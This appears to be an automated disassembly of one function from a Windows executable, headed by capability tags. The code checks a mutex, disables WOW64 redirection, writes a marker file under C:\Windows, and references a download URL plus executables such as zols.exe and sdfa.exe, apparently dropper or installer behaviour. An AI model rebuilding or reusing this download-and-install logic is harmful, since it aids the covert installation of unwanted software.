Function at 0x475c60
Capabilities:
Check if file exists
Check mutex on windows
Create thread
Get system information on windows
Inspect section memory permissions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd08
mov eax, dword [0x494494]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], 0
mov eax, dword [ebp + 8]
mov dword [0x4b0910], eax
push str.ABCDEF_CCC
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x475ca5
xor eax, eax
jmp 0x476644
push 0xa28
push 0
push 0x4b0918
call fcn.004067d0
add esp, 0xc
mov dword [ebp - 0x404], 0
jmp 0x475cd4
mov ecx, dword [ebp - 0x404]
add ecx, 1
mov dword [ebp - 0x404], ecx
cmp dword [ebp - 0x404], 0x13
jae 0x475cf9
push 1
mov edx, dword [ebp - 0x404]
shl edx, 7
add edx, 0x499950
push edx
call fcn.00461000
add esp, 8
jmp 0x475cc5
push 0x4b0918
call fcn.00462270
add esp, 4
lea eax, [ebp - 0x3f4]
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx ecx, word [ebp - 0x3f4]
cmp ecx, 9
je 0x475d2b
movzx edx, word [ebp - 0x3f4]
cmp edx, 6
jne 0x475d37
mov dword [0x4b0d20], 1
jmp 0x475d41
mov dword [0x4b0d20], 0
call fcn.00460f10
test eax, eax
je 0x475d9b
mov dword [ebp - 0x408], 0
cmp dword [0x4b0d20], 0
je 0x475d6f
push 0x72
call fcn.00461ad0
add esp, 4
mov dword [ebp - 0x408], eax
jmp 0x475d9b
mov eax, dword [0x4b0d14]
and eax, 1
je 0x475d8b
push 0x77
call fcn.00461ad0
add esp, 4
mov dword [ebp - 0x408], eax
jmp 0x475d9b
push 0x71
call fcn.00461ad0
add esp, 4
mov dword [ebp - 0x408], eax
mov ecx, dword [0x4b0d14]
and ecx, 0x20000000
je 0x475dd1
call fcn.00460f10
test eax, eax
jne 0x475dc9
push 0
push 0
push 0
push 0
push 0x486604
push 0x73
call fcn.00461830
add esp, 0x18
mov eax, dword [ebp - 4]
jmp 0x476644
mov edx, dword [0x4b0d14]
and edx, 0x40000000
je 0x475de7
mov eax, dword [ebp - 4]
jmp 0x476644
push 0x4b0918
mov ecx, 0x4bc9a0
call fcn.00403da0
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
mov dword [ebp - 0x3f8], eax
push 0x20a
push 0
lea eax, [ebp - 0x220]
push eax
call fcn.004067d0
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x220]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x5c
lea edx, [ebp - 0x220]
push edx
call fcn.00405ca0
add esp, 8
mov dword [ebp - 8], eax
xor eax, eax
mov ecx, dword [ebp - 8]
mov word [ecx], ax
push str.DuiHostWnd
mov edx, dword [ebp + 8]
push edx
lea ecx, [ebp - 0x3d0]
call fcn.004242f3
push 0x10
call fcn.00406f06
add esp, 4
mov dword [ebp - 0xcf4], eax
cmp dword [ebp - 0xcf4], 0
je 0x475e90
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0xcf4]
call fcn.0042458f
mov dword [ebp - 0xd04], eax
jmp 0x475e9a
mov dword [ebp - 0xd04], 0
mov ecx, dword [ebp - 0xd04]
mov dword [ebp - 0xcf0], ecx
mov edx, dword [ebp - 0xcf0]
push edx
lea ecx, [ebp - 0x3d0]
call fcn.00405c70
push 0x48662c
push str.IDR_DUI_INIT
lea ecx, [ebp - 0x3d0]
call fcn.00423917
mov dword [ebp - 0x224], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x400], eax
mov dword [0x4b4648], 1
mov dword [ebp - 0x3fc], 0
call fcn.00460f10
test eax, eax
jne 0x4762d8
push 0x486650
push 0x4b0d28
call fcn.00460cc0
add esp, 8
test eax, eax
jne 0x475f44
push 0
push 0x464aa0
push 0x486660
push str.install
mov ecx, 0x4bc9a0
call fcn.004601f0
mov dword [0x4b0d18], eax
cmp dword [0x4b0d18], 0
jne 0x475f44
jmp 0x476571
push 0
push 0x464bd0
push 0x486674
push str.work
mov ecx, 0x4bc9a0
call fcn.004601f0
mov dword [0x4b0d18], eax
cmp dword [0x4b0d18], 0
jne 0x475f72
jmp 0x476571
lea ecx, [ebp - 0x708]
call fcn.00476a10
push 5
lea ecx, [ebp - 0x708]
call fcn.00403dc0
push 0
push 0
lea ecx, [ebp - 0x708]
call fcn.0041ba2a
mov dword [ebp - 4], eax
push str.macaaa
push 0x4b0d28
call fcn.00460cc0
add esp, 8
test eax, eax
je 0x475fbc
mov eax, dword [0x4b0d14]
and eax, 2
je 0x475fd3
push 0
push 0
push 0
push 0
push 0x486698
push 0x73
call fcn.00461830
add esp, 0x18
cmp dword [ebp - 4], 1
jne 0x4762ab
push 0
push 0
push 0x4866a8
push str.pretgdled
mov ecx, 0x4bc9a0
call fcn.004601f0
mov ecx, dword [0x4b0d14]
and ecx, 1
jne 0x4760a9
mov edx, dword [0x4b0d14]
and edx, 8
jne 0x4760a9
call fcn.004644a0
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x79
call fcn.00461f60
add esp, 4
mov dword [ebp - 0x720], 0
push 0x13
push 0x499950
call fcn.00462220
add esp, 8
test eax, eax
je 0x476071
mov eax, dword [ebp - 0x720]
mov ecx, dword [ebp - 0x720]
add ecx, 1
mov dword [ebp - 0x720], ecx
cmp eax, 0x41
jge 0x476071
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x476037
mov edx, dword [0x4b0d14]
and edx, 1
jne 0x4760a9
push 0x4866c4
push 0x4b0f30
call fcn.00405cc0
add esp, 8
test eax, eax
jne 0x4760a9
push 0
push 0
push 0
push 0
push 0x4866cc
push 0x74
call fcn.004758f0
add esp, 0x18
mov dword [ebp - 0x714], 0
mov dword [ebp - 0x70c], 0
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x71c], eax
push str.Wow64DisableWow64FsRedirection
mov eax, dword [ebp - 0x71c]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x714], eax
cmp dword [ebp - 0x714], 0
je 0x476102
lea ecx, [ebp - 0x718]
push ecx
call dword [ebp - 0x714]
mov dword [ebp - 0x710], eax
call fcn.004612e0
test eax, eax
je 0x47624c
push 0x486710
push 1
call fcn.00464790
add esp, 8
test eax, eax
je 0x47624c
push 0
push 0
push 0x486718
push 0x486728
mov ecx, 0x4bc9a0
call fcn.004601f0
push 0
call fcn.00460380
add esp, 4
mov dword [ebp - 0x9e0], eax
mov dword [ebp - 0x9dc], edx
push 0xa0
push 0
lea edx, [ebp - 0x7c8]
push edx
call fcn.004067d0
add esp, 0xc
push 0x208
push 0
lea eax, [ebp - 0x9d8]
push eax
call fcn.004067d0
add esp, 0xc
lea ecx, [ebp - 0x9e0]
push ecx
call fcn.004603a0
add esp, 4
push eax
push 0x48672c
push 0x50
lea edx, [ebp - 0x7c8]
push edx
call fcn.00407969
add esp, 0x10
push 0x4b1138
lea eax, [ebp - 0x9d8]
push eax
call fcn.00407253
add esp, 8
mov dword [ebp - 0x724], 0
push 0x5c
lea ecx, [ebp - 0x9d8]
push ecx
call fcn.00405ca0
add esp, 8
mov dword [ebp - 0x724], eax
cmp dword [ebp - 0x724], 0
je 0x476214
mov edx, dword [ebp - 0x724]
add edx, 2
mov dword [ebp - 0x724], edx
xor eax, eax
mov ecx, dword [ebp - 0x724]
mov word [ecx], ax
lea edx, [ebp - 0x7c8]
push edx
lea eax, [ebp - 0x9d8]
push eax
call fcn.00407225
add esp, 8
push 0
push 6
push 4
push 0
push 0
push 0xc0000000
lea ecx, [ebp - 0x9d8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x7cc], eax
cmp dword [ebp - 0x7cc], 0xffffffff
je 0x47624c
mov edx, dword [ebp - 0x7cc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00461200
push str.Wow64RevertWow64FsRedirection
mov eax, dword [ebp - 0x71c]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x70c], eax
cmp dword [ebp - 0x70c], 0
je 0x476293
cmp dword [ebp - 0x710], 0
je 0x476293
mov ecx, dword [ebp - 0x718]
push ecx
call dword [ebp - 0x70c]
cmp dword [ebp - 0x71c], 0
je 0x4762a9
mov edx, dword [ebp - 0x71c]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x4762c3
push 0
push 0
push 0x48675c
push str.pretgruned
mov ecx, 0x4bc9a0
call fcn.004601f0
lea ecx, [ebp - 0x708]
call fcn.00476890
jmp 0x476588
push 0x48678c
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x4762ec
jmp 0x476588
call fcn.00460ee0
test eax, eax
jne 0x476300
push 0x1d4c0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x48679c
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x476384
push 0
push 0
push 0x4867b0
push str.autorun
mov ecx, 0x4bc9a0
call fcn.004601f0
push 0
push 6
push 4
push 0
push 0
push 0xc0000000
push str.C:WindowsLLJFB
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xce4], eax
cmp dword [ebp - 0xce4], 0
je 0x476384
mov dword [ebp - 0xce8], 0
push 0
lea eax, [ebp - 0xce8]
push eax
push 1
push 0x4867d8
mov ecx, dword [ebp - 0xce4]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0xce4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xbb8
push 0x464aa0
push str.actinstall
push str.work1
mov ecx, 0x4bc9a0
call fcn.004601f0
mov dword [0x4b0d18], eax
cmp dword [0x4b0d18], 0
jne 0x4763b5
jmp 0x476588
call fcn.00460ee0
test eax, eax
jne 0x4763c9
push 0x2bf20
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x4867f0
lea ecx, [ebp - 0xce0]
call fcn.00476920
push 0
push 0
lea ecx, [ebp - 0xce0]
call fcn.0041ba2a
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 1
jne 0x47654c
push 0
push 0
push 0x48681c
push str.tgdled
mov ecx, 0x4bc9a0
call fcn.004601f0
call fcn.004644a0
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x79
call fcn.00461f60
add esp, 4
push str._N_
push str.http:__ys.8gys.com_redian__jj
push 0x78
call fcn.00462050
add esp, 0xc
push 0
push 0
push 0
push 0
push str.zols.exe
push 0x74
call fcn.004758f0
add esp, 0x18
push 1
push 1
push 0
push str.update
push str.sdfa.exe
push 0x75
call fcn.00461830
add esp, 0x18
push 0x13
push 0x499950
call fcn.00462220
add esp, 8
test eax, eax
je 0x476499
push 0
push 0
push 0x4868b4
push 0x4868c4
mov ecx, 0x4bc9a0
call fcn.004601f0
jmp 0x4764b1
push 0
push 0
push 0x4868c8
push 0x4868d8
mov ecx, 0x4bc9a0
call fcn.004601f0
mov dword [0x4b4544], 1
push 0
push 0
push 0
push 0x464a60
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0xcec], eax
mov eax, dword [0x4b0d14]
and eax, 1
jne 0x4764eb
mov ecx, dword [0x4b0d14]
and ecx, 8
je 0x4764f2
call fcn.00465040
jmp 0x4764f7
call fcn.0046a270
mov dword [0x4b4544], 0
cmp dword [0x4b0914], 0
jne 0x476522
push 0
push 0
push 0x4868dc
push str.kp1F
mov ecx, 0x4bc9a0
call fcn.004601f0
cmp dword [ebp - 0xcec], 0
je 0x47654a
push 0x3a98
mov edx, dword [ebp - 0xcec]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0xcec]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x476564
push 0
push 0
push 0x4868f4
push str.tgruned
mov ecx, 0x4bc9a0
call fcn.004601f0
lea ecx, [ebp - 0xce0]
call fcn.00476890
jmp 0x476588
push 0
push 0
push 0
push 0
push str.wd.exe
push 0x73
call fcn.00461830
add esp, 0x18
cmp dword [0x4bc990], 0xffffffff
je 0x4765bc
mov ecx, dword [0x4bc990]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x4bc990], 0xffffffff
mov ecx, 0x4bc680
call fcn.00476f20
mov ecx, 0x4bc680
call fcn.00476ee0
lea ecx, [ebp - 0x3d0]
call fcn.00404900
mov dword [ebp - 0xcfc], eax
mov edx, dword [ebp - 0xcfc]
mov dword [ebp - 0xcf8], edx
cmp dword [ebp - 0xcf8], 0
je 0x4765fe
push 1
mov eax, dword [ebp - 0xcf8]
mov edx, dword [eax]
mov ecx, dword [ebp - 0xcf8]
mov eax, dword [edx]
call eax
mov dword [ebp - 0xd08], eax
jmp 0x476608
mov dword [ebp - 0xd08], 0
call dword [sym.imp.ole32.dll_CoUninitialize]
mov dword [0x4b4648], 0
push 0x2710
mov ecx, dword [ebp - 0x3fc]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [ebp - 4]
mov dword [ebp - 0xd00], edx
lea ecx, [ebp - 0x3d0]
call fcn.004232d5
mov eax, dword [ebp - 0xd00]
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.00405ce8
mov esp, ebp
pop ebp
ret 0x10